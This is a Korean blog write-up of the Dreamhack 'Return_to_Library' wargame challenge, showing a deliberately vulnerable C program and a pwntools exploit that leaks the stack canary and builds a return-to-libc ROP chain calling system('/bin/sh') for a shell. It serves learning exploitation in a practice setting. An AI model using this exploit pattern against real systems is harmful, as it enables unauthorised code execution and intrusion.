[Dreamhack] Return_to_Library

김성진·2022년 7월 17일
0

Dreamhack_System

목록 보기
16/44

📒 Description & Checksec


그렇습니까 ?
보호기법은 꽤 걸려있는 편이다.


📒 C code

📖 rtl.c

// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie

#include <stdio.h>
#include <unistd.h>

const char* binsh = "/bin/sh";

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Add system function to plt's entry
  system("echo 'system@plt");

  // Leak canary
  printf("[1] Leak Canary\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Overwrite return address
  printf("[2] Overwrite return address\n");
  printf("Buf: ");
  read(0, buf, 0x100);

  return 0;
}

우선 감사하게도 system 함수를 사용하고 있다. libc 파일이 따로 존재하지 않으므로 매우 큰 도움이다.

이 프로그램은 두 번 실행해야 하는데,
1. Leak Canary & Change RET to main
2. change RET to system
이 정도로 생각해주면 되겠다.


📒 Exploit

📖 exploit.py

from pwn import *
p = remote('host3.dreamhack.games', 23085)
#p = process('./rtl')
e = ELF('./rtl')

system_plt = e.plt['system']
binsh_addr = 0x0000000000600874
pr_gadget = 0x0000000000400853
ret = 0x0000000000400285
payload = 'A' * 0x39
p.recvuntil('Buf: ')
p.send(payload)

p.recvuntil('A' * 0x39)
canary = u64("\x00" + p.recvn(7))
print(canary)

payload = 'A' * 0x38
payload += p64(canary)
payload += 'A' * 0x8

payload += p64(ret)
payload += p64(pr_gadget)
payload += p64(binsh_addr)
payload += p64(system_plt)

p.recvuntil('Buf: ')
p.send(payload)

p.interactive()

canary leak의 경우 마지막 바이트는 무조건 \x00이기에 A를 덮어 전달해주었다.
저기서 ret의 주소를 넣어준 이유는 Stack-Alignment를 맞추어주기 위해서이다.

profile
Today I Learned

0개의 댓글